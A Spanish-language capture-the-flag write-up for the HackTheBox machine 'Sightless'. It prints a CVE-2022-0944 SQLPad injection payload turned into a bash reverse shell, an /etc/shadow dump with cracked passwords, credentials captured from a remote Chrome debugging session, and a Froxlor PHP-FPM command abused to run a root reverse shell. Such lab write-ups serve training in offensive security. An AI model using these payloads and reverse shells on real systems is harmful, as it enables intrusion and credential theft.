Sightless – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Sightless” es una máquina de dificultad fácil de la plataforma HackTheBox
. El servidor víctima se encuentra corriendo un servicio web el cual se encuentra exponiendo un servicio SQL
usando una versión de SQLPad
vulnerable a CVE-2022-0944. Esta versión es vulnerable a ejecución remota de comandos (o RCE
), permitiéndonos ganar acceso inicial a la máquina víctima. No obstante, este servicio se encuentra corriendo dentro de un container de Docker
como root
. Dado que somos root
dentro del container, somos capaces de leer el archivo /etc/shadow
, guardar los hashes dentro de este archivo e intentar crackearlos. Una de las contraseñas crackeadas funciona para uno de los usuarios en la máquina original a través del servicio SSH
, permitiéndonos ganar acceso a la máquina host. Una vez dentro, podemos ver que la máquina se encuentra corriendo un servicio web interno identificado como Froxlor
. Adicionalmente, podemos ver una sesión activa de Google Chrome
en la máquina víctima. A través de un Local Port Forwarding
, somos capaces de conectarnos a esta sesión de Chrome
, la cual filtra credenciales para el panel de Froxlor
. Una vez dentro del panel, somos capaces de inyectar un script/tarea la cual nos da acceso como el usuario root
en la máquina víctima.
User / Usuario Link to heading
Un rápido escaneo con Nmap
muestra 3 puertos abiertos: 21
File Transfer Protocol
, 22
SSH
y 80
HTTP
.
❯ sudo nmap -sS --open --min-rate=5000 -p- -n -Pn -vvv 10.10.11.32
Aplicando algunos scripts de reconocimiento sobre estos puertos (con la flag -sVC
) tenemos:
❯ sudo nmap -sVC -p21,22,80 10.10.11.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-20 03:02 -03
Nmap scan report for 10.10.11.32
Host is up (0.33s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/20%Time=66ED101F%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20
SF:Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20
SF:try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x
SF:20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.83 seconds
Podemos ver que el puerto 80
del servicio HTTP
está redirigiendo al dominio sightless.htb
.
Podemos agregar este nuevo dominio en nuestro archivo /etc/hosts
ejecutando en una terminal:
❯ echo '10.10.11.32 sightless.htb' | sudo tee -a /etc/hosts
Podemos entonces visitar http://sightless.htb
en un navegador de internet. Podemos ver una página web:
El sitio web presenta una compañía que, básicamente, brinda servicios para manejar datos:
El primer servicio, SQLPad
, redirige al subdominio sqlpad.sightless.htb
si clickeamos en Start Now
. La opción Froxlor
redirige a su página oficial (https://www.froxlor.org/). Data & Server
redirige a una url inexistente.
Dado que tenemos un nuevo subdominio, sqlpad.sightless.htb
, agregamos este nuevo dominio a nuestro archivo /etc/hosts
nuevamente. Ahora este archivo se ve como:
❯ tail -n1 /etc/hosts
10.10.11.32 sightless.htb sqlpad.sightless.htb
Una vez agregado este nuevo subdominio, podemos visitar http://sqlpad.sightless.htb
:
Cuando visitamos la página web podemos solicitar lo que parece ser una petición utilizando SQL
.
Este servicio está usando SQLPad
:
SQLPad
is a web app for writing and running SQL
queries and visualizing the results. Supports Postgres
, MySQL
, SQL Server
, ClickHouse
, Crate
, Vertica
, Trino
, Presto
, Pinot
, Drill
, SAP HANA
, BigQuery
, SQLite
, TiDB
and many others via ODBC.En resumen, es una aplicación para visualizar los resultados de queries de SQL
.
Intentamos algunos comandos para ver info importante e inyecciones, pero no encontramos nada interesante.
Si vamos a la parte superior derecha del panel, podemos ver tres puntos en posición vertical. Clickeando en ellos muestra la opción About SQLPad
, que muestra información acerca del software que se está utilizando:
Podemos ver una versión para SQLPad
: 6.10.0
.
Buscando por SQLPad 6.10.0 vulnerability
en Google nos lleva a una vulnerabilidad catalogada como CVE-2022-0944. La vulnerabilidad en sí trata de una ejecución remota de comandos (o RCE
en inglés) a través de una query maliciosa. Buscando por PoCs para esta vulnerabilidad encontramos este post explicando paso a paso cómo explotarla.
Primero, vamos al panel de SQLPad
, clickeamos en Connections
y luego en Add Connection
. Como Driver
seleccionamos la opción MySQL
.
Podemos entonces agregar el payload que se da de ejemplo en el campo/parámetro Database
:
{{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}
El cual podemos modificar para mandar una reverse shell a nuestra máquina de atacante:
{{ process.mainModule.require('child_process').exec('bash -c "bash >& /dev/tcp/10.10.16.5/443 0>&1"') }}
donde 10.10.16.5
es nuestra IP de atacante y 443
es el puerto en el cual nos pondremos en escucha con netcat
.
Empezamos un listener con netcat
en el puerto 443
en nuestra máquina de atacantes ejecutando:
❯ nc -lvnp 443
listening on [any] 443 ...
Y pasamos el payload en el portal de SQLPad
:
Obtenemos un error sobre el servicio MySQL
acerca de que éste no se encuentra habilitado en la máquina víctima. Pero si revisamos nuestro listener con netcat
, podemos ver que hemos recibido una conexión como el usuario root
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.32] 55250
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# whoami
whoami
root
Revisando el hostname
(el string luego del usuario root@
en la conexión de SSH
) y además revisando la IP de la máquina víctima actual muestra que estamos dentro de un container:
root@c184118df0a6:/var/lib/sqlpad# hostname -I
172.17.0.2
root@c184118df0a6:/var/lib/sqlpad# hostname
c184118df0a6
Chequeando el directorio /
simplemente confirma que estamos en un container con Docker
:
root@c184118df0a6:/var/lib/sqlpad# ls -la / | grep docker
-rwxr-xr-x 1 root root 0 Aug 2 09:30 .dockerenv
-rwxr-xr-x 1 root root 413 Mar 12 2022 docker-entrypoint
Mirando el directorio /home
podemos ver 2:
root@c184118df0a6:/var/lib/sqlpad# ls -la /home
total 20
drwxr-xr-x 1 root root 4096 Aug 6 11:23 .
drwxr-xr-x 1 root root 4096 Aug 2 09:30 ..
drwxr-xr-x 2 michael michael 4096 Aug 9 09:42 michael
drwxr-xr-x 1 node node 4096 Aug 9 09:42 node
Tenemos 2 potenciales usuarios: michael
y node
.
Dado que somos root
en el container es que somos capaces de leer el archivo /etc/shadow
, donde se encuentran guardadas los hashes de contraseñas del sistema en Linux
:
root@c184118df0a6:/var/lib/sqlpad# cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
Tenemos un hash tanto para root
como para michael
. Guardamos ambos hashes en nuestra máquina de atacante en un archivo llamado container_hashes
:
❯ cat container_hashes
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
Podemos entonces tratar de crackear estos hashes a través de un Brute Force Password Cracking
junto con el diccionario rockyou.txt
, usando la herramienta John The Ripper
(john
):
❯ john --wordlist=/usr/share/wordlists/rockyou.txt container_hashes
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blindside (root)
insaneclownposse (michael)
2g 0:00:00:12 DONE (2024-09-20 04:05) 0.1547g/s 4557p/s 7628c/s 7628C/s melissa10..bluedolphin
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Somos capaces de crackear ambos hashes. Una de las credenciales halladas es root:blindside
y la otra es michael:insaneclownposse
Guadramos ambos usuarios en un archivo y ambas contraseñas halladas en otro archivo. Luego, usamos NetExec
para encontrar un par de credenciales correctas a través del servicio SSH
:
❯ netexec ssh 10.10.11.32 -u found_users -p found_password --continue-on-success
SSH 10.10.11.32 22 10.10.11.32 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.32 22 10.10.11.32 [-] root:blindside Authentication failed.
SSH 10.10.11.32 22 10.10.11.32 [-] michael:blindside Authentication failed.
SSH 10.10.11.32 22 10.10.11.32 [-] root:insaneclownposse Authentication failed.
SSH 10.10.11.32 22 10.10.11.32 [+] michael:insaneclownposse (non root) Linux - Shell access!
Tenemos credenciales válidas para SSH
: michael:insaneclownposse
.
Podemos así loguearnos a través de SSH
en la máquina víctima como este usuario:
❯ sshpass -p 'insaneclownposse' ssh -o stricthostkeychecking=no michael@10.10.11.32
Warning: Permanently added '10.10.11.32' (ED25519) to the list of known hosts.
Last login: Tue Sep 3 11:52:02 2024 from 10.10.14.23
michael@sightless:~$ whoami
michael
Podemos leer la flag de usuario en el directorio /home
del usuario michael
.
Root Link to heading
Mirando los puertos internos abiertos de la máquina víctima, fuera de los puertos previamente identificados, nos permite ver que el puerto 8080
se encuentra abierto:
michael@sightless:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:34001 0.0.0.0:*
LISTEN 0 10 127.0.0.1:33911 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 5 127.0.0.1:33569 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 128 *:21 *:*
LISTEN 0 128 [::]:22 [::]:*
Podemos revisar si este puerto se encuentra exponiendo un servicio web utilizando cURL
contra el localhost
y este puerto en cuestión:
michael@sightless:~$ curl -s 127.0.0.1:8080 | head -n 20
<!DOCTYPE html>
<html lang="en" data-bs-theme="light">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="robots" content="noindex, nofollow, noarchive"/>
<meta name="googlebot" content="nosnippet"/>
<link rel="icon" type="image/x-icon" href="templates/Froxlor/assets/img/icon.png">
<meta name="csrf-token" content="da280e2fe9b36408df633a5170c362aebea2e110" />
<!-- Assets -->
<link rel="stylesheet" href="templates/Froxlor/build/assets/app-61450a15.css">
<script src="templates/Froxlor/build/assets/app-67d6acee.js" type="module"></script>
<title>Froxlor</title>
</head>
<body id="app" class="min-vh-100 d-flex flex-column">
<div class="container-fluid">
<div class="container">
Podemos ver output. De manera que este puerto debe de estar corriendo un servicio web interno.
Ahora tratamos de performar un Local Port Forwarding
dado que tenemos una conexión de SSH
; pero en mí caso (y de capricho) utilizaré Chisel
sólo para variar un poco. Podemos descargar el binario de Chisel
desde su repositorio de Github. Descargamos el binario apropiado para la arquitectura de muestra mñaquina de atacante y máquina víctima. En nuestro caso la versión linux_amd64
debería funcionar para ambos (nuestra máquina de atacante y máquina víctima). Descargado el binario, pasamos una copia a la máquina víctima. Para ello empezamos un servidor HTTP
con Python
a través del puerto 8000
en nuestra máquina de atacantes:
❯ ls -la && python3 -m http.server 8000
total 8464
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Sep 20 04:17 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Sep 20 03:00 ..
-rwxr-xr-x 1 gunzf0x gunzf0x 8654848 Sep 20 04:17 chisel
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
y, en la máquina víctima, descargamos una copia de éste:
michael@sightless:~$ wget http://10.10.16.5:8000/chisel -O /dev/shm/chisel
--2024-09-20 07:24:08-- http://10.10.16.5:8000/chisel
Connecting to 10.10.16.5:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8654848 (8.3M) [application/octet-stream]
Saving to: ‘/dev/shm/chisel’
/dev/shm/chisel 100%[=======================================================================================>] 8.25M 2.31MB/s in 4.0s
2024-09-20 07:24:13 (2.04 MB/s) - ‘/dev/shm/chisel’ saved [8654848/8654848]
michael@sightless:~$ chmod +x /dev/shm/chisel
Luego, para establecer el túnel, en nuestra máquina de atacantes ejecutamos Chisel
como server
en el puerto 1234
:
❯ ./chisel server --reverse -v -p 1234
2024/09/20 04:27:26 server: Reverse tunnelling enabled
2024/09/20 04:27:26 server: Fingerprint lZ0CnNAQbZjW/aRxPTlCFNne8wu4M9x3mBrU3YeTe+k=
2024/09/20 04:27:26 server: Listening on http://0.0.0.0:1234
y en la máquina víctima, usando la sesión de SSH
, ejecutamos Chisel
como client
; redirigiendo todo el tráfico de 127.0.0.1:8080
hacia 10.10.16.5:8080
(la IP de nuestra máquina de atacantes):
michael@sightless:~$ /dev/shm/chisel client 10.10.16.5:1234 R:8080:127.0.0.1:8080
:25 client: Connecting to ws://10.10.16.5:1234
2024/09/20 07:28:27 client: Connected (Latency 160.495089ms)
Hecho todo esto, podemos abrir un navegador como Firefox
y visitar http://127.0.0.1:8080
. Podemos ver una nueva página web:
El sitio está corriendo Froxlor
, uno de los servicios presentados previamente en la página web principal.
Froxlor
is a free and open-source web hosting control panel.El pequeño gran problema es que necesitamos credenciales para este panel. Pruebo con las contraseñas encontradas previamente en el contenedor de Docker
y usuarios tales como admin
, froxlor
y froxroot
(dado en su documentación de ejemplo de instalación), pero no funcionan.
Si usamos ps
con ps aux
para ver procesos siendo ejecutados en la máquina víctima, hay uno el cual llama mi atención el cual se encuentra utilizando Google Chrome
:
michael@sightless:~$ ps aux | grep chrome
john 1596 0.3 0.3 33630172 14972 ? Sl 05:59 0:27 /home/john/automation/chromedriver --port=51219
john 1601 0.0 0.0 0 0 ? Z 05:59 0:00 [chromedriver] <defunct>
john 1607 0.6 2.8 34003124 113516 ? Sl 05:59 0:46 /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.rnq94A data:,
john 1609 0.0 0.0 33575860 3248 ? Sl 05:59 0:00 /opt/google/chrome/chrome_crashpad_handler --monitor-self-annotation=ptype=crashpad-handler --database=/tmp/Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=lsb-release=Ubuntu 22.04.4 LTS --annotation=plat=Linux --annotation=prod=Chrome_Headless --annotation=ver=125.0.6422.60 --initial-client-fd=6 --shared-client-connection
john 1613 0.0 1.4 34112448 56188 ? S 05:59 0:00 /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1609 --enable-crash-reporter
john 1614 0.0 1.4 34112456 56892 ? S 05:59 0:00 /opt/google/chrome/chrome --type=zygote --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1609 --enable-crash-reporter
john 1629 0.6 3.0 34362344 120488 ? Sl 05:59 0:40 /opt/google/chrome/chrome --type=gpu-process --no-sandbox --disable-dev-shm-usage --headless --ozone-platform=headless --use-angle=swiftshader-webgl --headless --crashpad-handler-pid=1609 --gpu-preferences=WAAAAAAAAAAgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --shared-files --fie
john 1630 0.1 2.1 33900068 87232 ? Sl 05:59 0:11 /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --disable-dev-shm-usage --use-angle=swiftshader-webgl --use-gl=angle --headless --crashpad-handler-pid=1609 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,8801409258956764364,5953548738027396973,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging --log-level=0 --enable-crash-reporter
john 1658 3.2 4.0 1186799472 160768 ? Sl 05:59 3:41 /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1609 --no-sandbox --disable-dev-shm-usage --enable-automation --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1726811818039563 --launc
michael 4694 0.0 0.0 6612 2244 pts/0 S+ 07:52 0:00 grep --color=auto chrome
El usuario john
tiene abierta una sesión con Google Chrome
.
Usualmente, cuando ejecutamos un software como Google Chrome
, éste requiere de puertos para funcionar. Como vimos previamente, teníamos muchos puertos abiertos. Podemos obtener todos los puertos abiertos en la máquina víctima jugando un poco con la consola:
michael@sightless:~$ ss -nltp | awk '{print $4}' | grep -v Local | awk -F : '{print $2}' | grep -v '^$' | sort -u
21
22
3000
3306
33060
33569
33911
34001
53
80
8080
De aquí, empezaremos a descargar los servicios los cuales sabemos qué están corriendo y ya hemos identificado: 21
(FTP
), 22
(SSH
), 53
(DNS
), 80
(puerto HTTP
página web principal), 3000
(puerto por defecto para SQLPad
, como se pude ver aquí), 3306
y 33060
(MySQL
); y 8080
(servicio web Froxlor
).
Luego de filtrar por todos aquellos puertos, sólo nos quedan 3 candidatos: 33569
, 33911
y 34001
. Podemos matar nuestro túnel con Chisel
(cerramos la sesión de SSH
como michael
) y crear uno nuevo donde, además del puerto 8080
, haremos un Local Port Forwarding
con cada uno de los puertos candidatos hallados:
michael@sightless:~$ /dev/shm/chisel client 10.10.16.5:1234 R:8080:127.0.0.1:8080 R:33569:127.0.0.1:33569 R:33911:127.0.0.1:33911 R:34001:127.0.0.1:34001
Luego, usaremos Chromium
dado que para el paso a continuación Firefox
no funcionó. En Chromium
, podemos buscar por chrome://inspect/#devices
en la barra de búsquedas. Luego, clickeamos en Configure
a la derecha de Discover network targets
. Deberíamos de ver algo como:
Hecho esto, agregamos 127.0.0.1:<puerto candidato>
y clickeamos en Done
. Uno de los puertos expuestos/candidatos debería de ser la sesión de Google Chrome
corriendo en la máquina víctima. En mi caso en específico, 127.0.0.1:33911
era la conexión y puerto que estaba buscando. Una vez agregado, podemos ver un mensaje de Froxlor
:
Si clickeamos en Inspect
en el primer link, podemos ver una animación en nuestra pantalla. Básicamente, es un usuario logueando en el panel de Froxlor
. Utilizando la pestaña de Developers
, podemos ir a Network
y después, luego de que el usuario se haya logueado, podemos revisar el recurso index.php
y la pestaña Payload
. Haciendo esto podemos ver:
Tenemos un usuario (definido por el parámetro loginname
) llamado admin
y una contraseña ForlorfroxAdmin
.
Visitamos así http://127.0.0.1:8080
, usamos las credenciales admin:ForlorfroxAdmin
y funcionan. Estamos dentro del panel como el usuario admin
:
Al lado izquierdo podemos ver una pestaña PHP
. Clickeando en ésta muestra muchas opciones. Entre ellas podemos ver la pestaña llamada PHP-FPM versions
. Buscando qué demonios es esto encontramos:
PHP-FPM
, or PHP FastCGI Process Manager
, is an advanced, high-performance FastCGI process manager for PHP
. It resolves the concurrency issue of PHP
’s built-in server by spawning multiple workers, which can handle multiple requests simultaneously.En corto, es una herramienta para lidiar con procesos más eficientemente en PHP
.
Clickeando en PHP-FPM versions
y luego en Create new PHP version
nos muestra una nueva página web. Intentaremos ejecutar el comando whoami
y enviar el output de éste a nuestra máquina de atacante usando un pipe (|
) junto con netcat
. En el panel de Froxlor
usamos el comando whoami | nc 10.10.16.5 4444
y en nuestra máquina de atacantes empezamos un listener en el puerto 4444
(ejecutando nc -lvnp 4444
). En la máquina víctima agregamos el payload mencionado:
Pero encuentro un problema. Obtengo un error cuando clickeo en Save
. Previamente había intentado con comandos más simples y funcionaron (como whoami
e id
); de manera que, quizás, el pipe (|
) está rompiendo el parámetro. Por ende, y dado que nuestra sesión de michael
está siendo usada por Chisel
para entablar el túnel, logueamos nuevamente como michael
a través de SSH
(SIN MATAR LA SESIÓN QUE ESTÁ EJECUTANDO Chisel
, o matamos el túnel) y creamos un simple script de Bash
el cual nos enviará una reverse shell a nuestra máquina de atacante:
michael@sightless:~$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"' > /dev/shm/rev.sh
michael@sightless:~$ cat /dev/shm/rev.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"
michael@sightless:~$ chmod +x /dev/shm/rev.sh
Empezamos un nuevo listener con netcat
en el puerto 443
en nuestra máquina de atacantes:
❯ nc -lvnp 443
listening on [any] 443 ...
Luego, agregamos el nuevo payload a la pestaña PHP-FPM
:
Finalmente, podemos ir a System > Settings > PHP-FPM
, deshabilitar el servicio clickeando en el botón próximo a Activate to use
y clickear en Save
. Luego, volvemos a la pestaña anterior, y habilitamos el servicio nuevamente para “reiniciar” éste, y clickeamos en Save
nuevamente:
Si vamos a la pestaña de Cronjob Settings
, hay un cronjob
corriendo cada 5 minutos llamado Generating of configfiles
:
Asumo que este job ejecutará el payload, de manera que necesitamos esperar hasta una hora XX:X5
(cada 5 minutos).
Luego de algunos minutos, el cronjob
es ejecutado, y obtenemos una conexión en nuestro listener como el usuario root
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.32] 37430
bash: cannot set terminal process group (3310): Inappropriate ioctl for device
bash: no job control in this shell
root@sightless:~# whoami
whoami
root
root@sightless:~# hostname -I
hostname -I
10.10.11.32 172.17.0.1
Somos root
en la máquina víctima original/host, no en un contenedor esta vez 😀.
Podemos leer la flag del usuario root
en el directorio /root
.
~Happy Hacking